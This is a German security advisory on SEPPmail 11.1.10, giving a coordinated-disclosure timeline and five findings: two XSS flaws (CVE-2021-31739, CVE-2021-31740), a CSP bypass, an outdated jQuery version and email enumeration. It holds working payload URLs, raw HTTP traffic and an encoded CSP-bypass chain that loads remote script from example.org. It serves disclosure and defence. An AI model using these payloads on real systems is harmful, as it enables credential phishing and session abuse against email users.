Mehrere Verwundbarkeiten in SEPPmail 11.1.10

Während eines Penetrationstests identifizierte Pentagrid mehrere Schwachstellen in der E-Mail-Gateway-Software SEPPmail in der Version 11.1.10 des Schweizer Unternehmens Seppmail AG. Die Gateway-Lösung dient dem Transfer vertraulicher E-mails.

Timeline

  • 2020-12-14: Verwundbarkeiten festgestellt

  • 2021-01-12: Initialer Kontakt mit Hersteller für Coordinated-Disclosure-Prozess.

  • 2021-01-15: Ticket eröffnet.

  • 2021-02-17: Nachfrage nach Planung und ob Klärungsbedarf besteht. Gemäss Antwort des Herstellers sind alle Probleme adressiert.

  • 2022-11-17: Advisory aktualisert und veröffentlicht.

Affected Components

Die identifizierten Schwachstellen betreffen SEPPmail Version 11.1.10. Andere Versionen der SEPPmail-Software können ebenfalls betroffen sein.

Technische Details

1. Reflektiertes Cross-Site-Scripting über den Parameter subject (CVE-2021-31739)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N, 6.1 Medium

Die SEPPmail-Lösung ist anfällig für eine Cross-Site Scripting-Schwachstelle, da Benutzereingaben bei der Ausgabe in HTML-Attributen nicht korrekt kodiert werden.

Auswirkung: Ein Angreifer kann beliebigen HTML-/JavaScript-Code in der Domäne, unter welcher SEPPmail läuft (beispielsweise securemail.example.org), im Browser der Zielperson ausführen und beispielsweise versuchen, den Benutzernamen und das Passwort der Zielperson zu erfragen und an den Angreifer zu senden.

Details: Während der Untersuchung wurde festgestellt, dass der Wert des URL-Parameters subject entgegengenommen und nicht korrekt kodiert in der HTML-Seite wieder eingebettet wird. Ruft eine Zielperson die folgende URL auf, wird der in der URL enthaltene HTML-Code anschliessend ausgeführt:

https://securemail.example.org/web.app?subject=foobar%22%20value=pentagrid%20autofocus%20type=text%20><svg%20src=://example.org/assets/img/svg/svg_xss.svg%20width=999%20height=999>

Die entsprechende HTTP-Anfrage mit dem HTML-Code im Parameter subject lautet:

GET /web.app?subject=foobar%22%20value=pentagrid%20autofocus%20type=text%20><svg%20src=://example.org/assets/img/svg/svg_xss.svg%20width=999%20height=999> HTTP/1.1
Host: securemail.example.org
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

In der HTTP-Antwort bettet SEPPmail die Eingabe im HTML-Code ein:

HTTP/1.1 400 ERROR
Date: Mon, 14 Dec 2020 09:47:19 GMT
Cache-control: private, no-cache, no-store
Pragma: no-cache
X-frame-options: DENY
Strict-Transport-Security: max-age=15552000; includeSubDomains
Content-length: 16302
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; connect-src 'self'; img-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none';
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Vary: Origin
Connection: close
Content-Type: text/html; charset=utf-8
Set-Cookie: […]; Path=/; Domain=.securemail.example.org; HTTPOnly

[…]
         <input type="hidden" name="rcpt" value="" />
         <input type="hidden" name="predefinedsubject" value="foobar" value=pentagrid autofocus type=text ><svg src=://example.org /assets/img/svg/svg_xss.svg width=999 height=999>" />
         <div class="panel panel-default" style="margin-bottom:10px;">
             <div class="panel-body">
                 <div class="form-horizontal"
[…]

In diesem Fall wird die SVG-Bilddatei zwar als Platzhalter in der Seite eingebettet, jedoch aufgrund der verwendeten Content Security Policy nicht von der Seite example.org geladen und somit auch kein JavaScript ausgeführt. Die Umgehung der Content-Security Policy in Befund 3 ist aber anwendbar.

Vorbedingung: Eine Zielperson muss die vom Angreifer festgelegte URL öffnen. Ausserdem muss der Angreifer auch eine Umgehungsmöglichkeit für die Content Security Policy finden, um das Problem effektiv auszunutzen.

2. Cross-Site-Scripting-Schwachstellen über Empfängeradresse (CVE-2021-31740)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N, 6.1 Medium

Beim Empfänger-Feld im Web-Frontend von SEPPMail werden Benutzereingaben nicht korrekt in die Webseite eingebettet und führen daher zu Cross-Site-Scripting-Schwachstellen (XSS).

Auswirkung: Ein Angreifer kann beliebigen JavaScript-Code in der Domäne von SEPPmail ausführen und beispielsweise eine Zielperson dazu verleiten, die Zugangsdaten preiszugeben.

Details: Wird im SEPPmail Web-Interface eine Empfängeradresse mit folgendem Inhalt eingefügt und anschliessend versucht das E-Mail abzusenden, wird der enthaltene JavaScript-Code (alert(1)) ausgeführt:

foo@bar<svg/onload='alert(1))'

Grundsätzlich wäre dieses Problem nicht ausnutzbar und würde ein sogenanntes Self-XSS darstellen, bei welchem sich ein Benutzer lediglich selbst angreifen könnte. Die Applikation erlaubt es jedoch, alle Parameter in der URL zu übertragen, wie beispielsweise den Session-Token. Somit kann ein Angreifer seine eigene Session verwenden, um die Zielperson einzuloggen und sofort das XSS auszuführen. Diese URL ist dann jedoch nur solange gültig, solange auch die enthaltene Session gültig ist:

https://securemail.example.org/web.app?session=Ufde[…]K&Uf[…]K=Uj[…]VT&op=send-mail&msgid=1607513954.6024&email=example@example.org&origtrackid=&origmsgid=&submit=yes&newto=foo@bar%3csvg%2fonload%3d%27alert%281%29%27&recipients%5b%5d=&subject=&uploadfile=&messagebody=

Öffnet eine Zielperson die URL, wird diese als eingeloggter Angreifer erkannt (wegen der mitübergebenen Session-ID) und anschliessend wird das XSS ausgeführt. Beim XSS wäre es für einen Angreifer möglich, beispielsweise ein Login-Formular anzuzeigen, um die Zielperson zur Eingabe der Zugangsdaten zu bewegen. Diese könnten dann an den Angreifer weitergeleitet werden.

Vorbedingung: Eine Zielperson muss sich verleiten lassen, die URL des Angreifers zu öffnen. Der Angreifer muss ausserdem einen eigenen Zugang zur SEPPmail-Installation besitzen und bereit sein, seinen zugehörigen Session-Token an die Zielperson weiterzugeben. Zusätzlich ist der Angriff zeitlimitiert auf die Gültigkeit der Session in der URL.

3. Umgehung von schwacher Content-Security Policy (CSP)

CVSS:3.1, 0.0 Information

Um Cross-Site-Scripting-Angriffe zu erschweren, benutzt die Webseite eine Content Security Policy. Dieser ist jedoch nicht lückenlos gestaltet und kann von einem Angreifer umgangen werden.

Auswirkung: Ein Angreifer, welcher eine Cross-Site-Scripting-Sicherheitslücke auf der Webseite findet, kann diese auch ausnutzen.

Details: Die CSP ist ein Mechanismus, um XSS-Angriffe (wie in Befund 1 und 2) zu verhindern. Allerdings benötigt dies eine restriktive Gestaltung der CSP. Die CSP von SEPPMail ist für jeden Webseitenbesucher einsehbar und hat folgende Regeln:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; connect-src 'self'; img-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none';

Problematisch ist dabei insbesondere die Direktive unsafe-inline. Diese wird hier in der CSP erlaubt und unterstützen damit gängige XSS-Angriffe. Führt ein Angreifer mithilfe von Befund 2 einen XSS-Angriff durch, könnte dieser beispielsweise folgenden HTML-Code verwenden, wenn der Angreifer die CSP fälschlicherweise nicht beachtet:

foo@bar<svg/src='https://example.org/'

Da die CSP jedoch aussagt, dass default-src self ist, lädt der Browser keine Bilder von der hier verwendeten Seite example.org nach. Der Browser verweigert den Zugriff mit der folgenden Fehlermeldung:

Refused to load the image 'https://example.org/' because it violates the following Content Security Policy directive: "img-src 'self'".

Ein ähnlicher Fehler würde auftreten, falls versucht würde, eine JavaScript-Datei von example.org zu laden. Problematisch ist allerdings, dass die Script-Quelle unsafe-inline verwendet werden darf, das heisst folgender XSS-Angriff funktioniert, da ein eingebetteter JavaScript-Code mitgegeben wird:

foo@bar<svg/onload='alert(1))'

Daher hat ein Angreifer grundsätzlich erst einmal die Möglichkeit, JavaScript auszuführen. Dies kann im Weiteren ausgenutzt werden, um indirekt JavaScript von example.org zu laden und auszuführen. Üblicherweise gibt es immer Webseiten auf der verwendeten Domäne securemail.example.org, welche keinen HTTP-Header Content-Security-Policy zurückliefern, beispielsweise Fehlerseiten wie sie nach Aufruf der URL https://securemail.example.org/a zurückgeliefert werden:

HTTP/1.1 404 Not Found
Date: Wed, 09 Dec 2020 12:22:05 GMT
Strict-Transport-Security: max-age=15552000; includeSubDomains
Content-Length: 196
Connection: close
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: […]; Path=/; Domain=securemail.example.org; HTTPOnly

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>

Dies kann genutzt werden, um diese Fehlerseite in einem eigenen IFrame zu laden:

foo@bar<svg/onload='frame=document.createElement("iframe");frame.src="/a";document.body.appendChild(frame);'

Anschliessend kann ein neues JavaScript-Element erzeugt werden, welches dann in das IFrame geladen wird. Da im IFrame keine CSP gilt (da der HTTP-Header nicht zurückgeliefert wird für die IFrame-URL), kann dort beliebig JavaScript-Code nachgeladen werden, auch von example.org:

foo@bar<svg/onload='frame=document.createElement("iframe");frame.src="/a";document.body.appendChild(frame);setTimeout(function(){script=document.createElement("script");script.src="//example.org/a.js";window.frames[0].document.head.appendChild(script);},3000);'

Da jedoch im benutzten XSS die Payload zu Kleinbuchstaben konvertiert wird, muss der JavaScript-Code noch kodiert werden. Anschliessend resultiert folgender Angriffscode:

https://securemail.example.org/web.app?session=0H[…]E=z[…]I&op=send-mail&msgid=1607527930.5970&email=example@example.org&origtrackid=&origmsgid=&submit=yes&recipients[]=&subject=&uploadfile=&messagebody=&newto=foo@bar%3Csvg/onload=%27%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000061%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000099%26%230000114%26%230000101%26%230000097%26%230000116%26%230000101%26%230000069%26%230000108%26%230000101%26%230000109%26%230000101%26%230000110%26%230000116%26%230000040%26%230000034%26%230000105%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000034%26%230000041%26%230000059%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000046%26%230000115%26%230000114%26%230000099%26%230000061%26%230000034%26%230000047%26%230000118%26%230000049%26%230000047%26%230000034%26%230000059%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000098%26%230000111%26%230000100%26%230000121%26%230000046%26%230000097%26%230000112%26%230000112%26%230000101%26%230000110%26%230000100%26%230000067%26%230000104%26%230000105%26%230000108%26%230000100%26%230000040%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000041%26%230000059%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000061%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000099%26%230000114%26%230000101%26%230000097%26%230000116%26%230000101%26%230000069%26%230000108%26%230000101%26%230000109%26%230000101%26%230000110%26%230000116%26%230000040%26%230000034%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000034%26%230000041%26%230000059%26%230000097%26%230000108%26%230000101%26%230000114%26%230000116%26%230000040%26%230000034%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000032%26%230000099%26%230000114%26%230000101%26%230000097%26%230000116%26%230000101%26%230000100%26%230000034%26%230000041%26%230000059%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000046%26%230000115%26%230000114%26%230000099%26%230000061%26%230000034%26%230000047%26%230000047%26%230000101%26%230000120%26%230000097%26%230000109%26%230000112%26%230000108%26%230000101%26%230000046%26%230000111%26%230000114%26%230000103%26%230000047%26%230000053%26%230000046%26%230000106%26%230000115%26%230000034%26%230000059%26%230000097%26%230000108%26%230000101%26%230000114%26%230000116%26%230000040%26%230000034%26%230000115%26%230000114%26%230000099%26%230000032%26%230000115%26%230000112%26%230000101%26%230000099%26%230000105%26%230000102%26%230000105%26%230000101%26%230000100%26%230000034%26%230000041%26%230000059%26%230000119%26%230000105%26%230000110%26%230000100%26%230000111%26%230000119%26%230000046%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000115%26%230000091%26%230000048%26%230000093%26%230000046%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000104%26%230000101%26%230000097%26%230000100%26%230000046%26%230000097%26%230000112%26%230000112%26%230000101%26%230000110%26%230000100%26%230000067%26%230000104%26%230000105%26%230000108%26%230000100%26%230000040%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000041%26%230000059%26%230000097%26%230000108%26%230000101%26%230000114%26%230000116%26%230000040%26%230000034%26%230000097%26%230000112%26%230000112%26%230000101%26%230000110%26%230000100%26%230000101%26%230000100%26%230000034%26%230000041%26%230000059%27

Ein Angreifer kann anschliessend in der JavaScript-Datei auf example.org beliebigen JavaScript-Code ausliefern. Der Angreifer hat auch die Möglichkeit, den Angriff verdeckt im Hintergrund durchzuführen, ohne dass IFrames oder ähnliche Elemente sichtbar sind.

Vorbedingung: Ein Angreifer muss zuerst eine ausnutzbare Cross-Site-Scripting-Verwundbarkeit finden. Ausserdem ist eine User-Interaktion nötig, damit der Angriff durchgeführt werden kann, wozu der Besuch einer Website des Angreifers genügt oder beispielsweise eine eingeblendete Werbung auf einer Webseite Dritter.

4. Verwundbare Version der JavaScript-Bibliothek jQuery

CVSS:3.1, 0.0 Information

Die SEPPmail-Appliance nutzt eine Version einer JavaScript-Bibliothek, welche bekannte Schwachstellen aufweist.

Auswirkung: Findet ein Angreifer eine Stelle, an der die Schwachstelle ausgenutzt werden kann, ergibt sich ein Cross-Site-Scripting-Angriff auf die Webseite.

Details: Unter der folgenden URL ist die JavaScript-Bibliothek jQuery verfügbar, welche in der Weboberfläche der SEPPmail-Appliance eingesetzt wird:

https://securemail.example.org/js/jquery-3.4.1.min.js

Die Version 3.5 löst ein potentielles Cross-Site-Scripting-Problem, welches im entsprechende Release-Log beschrieben wird.

Vorbedingung: Ein Angreifer muss erst eine Stelle finden, wo jQuery in einer ausnutzbaren Form verwendet wird. Eine solche Stelle wurde während der gegebenen Untersuchungszeit nicht gefunden.

5. Registrierungsformular erreichbar und Enumeration von bereits registrierten E-Mail-Adressen

CVSS:3.1, 0.0 Information

Obwohl in der SEPPmail-Installation die Funktionalität für die Selbstregistrierung von Benutzern deaktiviert wurde, kann ein Angreifer einen neuen Benutzer registrieren, konnte diesen jedoch nicht aktivieren.

Auswirkung: Das Problem hat keine Auswirkung da der Benutzer-Account in der vorgefundenen Installation nicht aktiviert werden kann. Gelingt es einem Angreifer die Aktivierung vorzunehmen, wäre er in der Lage den eingeloggten Bereich von SEPPmail zu nutzen, ohne dass ein Account für den Angreifer erstellt wurde. Ein Angreifer kann ausserdem bestehende E-Mail-Adressen ausprobieren um herauszufinden, ob diese auf dem Portal bereits registriert sind. Die verwendete SEPPmail-Instanz hatte die Einstellung "Allow account self-registration in GINA portal without initial mail" deaktiviert.

Details: Ruft ein Angreifer die folgende URL auf, wird ein neuer Account auf die in der URL enthaltenen E-Mail erstellt:

https://securemail.example.org/web.app?session=&chksum=&op=accountinit&email=example@example.org&seppmailname=&uilang=e&newpw=11111111&newpw2=11111111&question=In+what+town+or+city+was+your+first+full+time+job%3f&question-preset=0&answer=111&telephone=&toconfirm=yes

Wird eine E-Mail-Adresse in der URL verwendet, welche bereits registriert ist, wird der Fehler “Der neue Benutzer konnte nicht angelegt werden” zurückgegeben. Somit kann ein Angreifer E-Mail-Adressen ausprobieren, um herauszufinden, ob eine E-Mail-Adresse bereits in SEPPmail erfasst ist. Wird eine noch nicht registrierte E-Mail-Adresse verwendet, wird der Account neu registriert. Auf dem System wurde daraufhin allerdings keine Aktivierungs-Mail ausgeliefert. Warum dies der Fall ist, ist unklar, allerdings wurde die E-Mail beim versenden blockiert. Ob intern in der SEPPmail-Datenbank trotzdem ein Benutzer erfasst wurde, wurde nicht untersucht.

Vorbedingung: Der Angreifer kann lediglich bereits registrierte E-Mail-Adressen enumerieren. Für weitere Angriffe wären weitere Schwachstellen notwendig, beispielsweise solche, welche eine Aktivierung des Accounts ermöglichen.

Patches and Workaround

Gemäss Seppmail AG wurden die Verwundbarkeiten mit Version 12.0.6 adressiert. Diese Version wurde am 2021-01-27 veröffentlicht.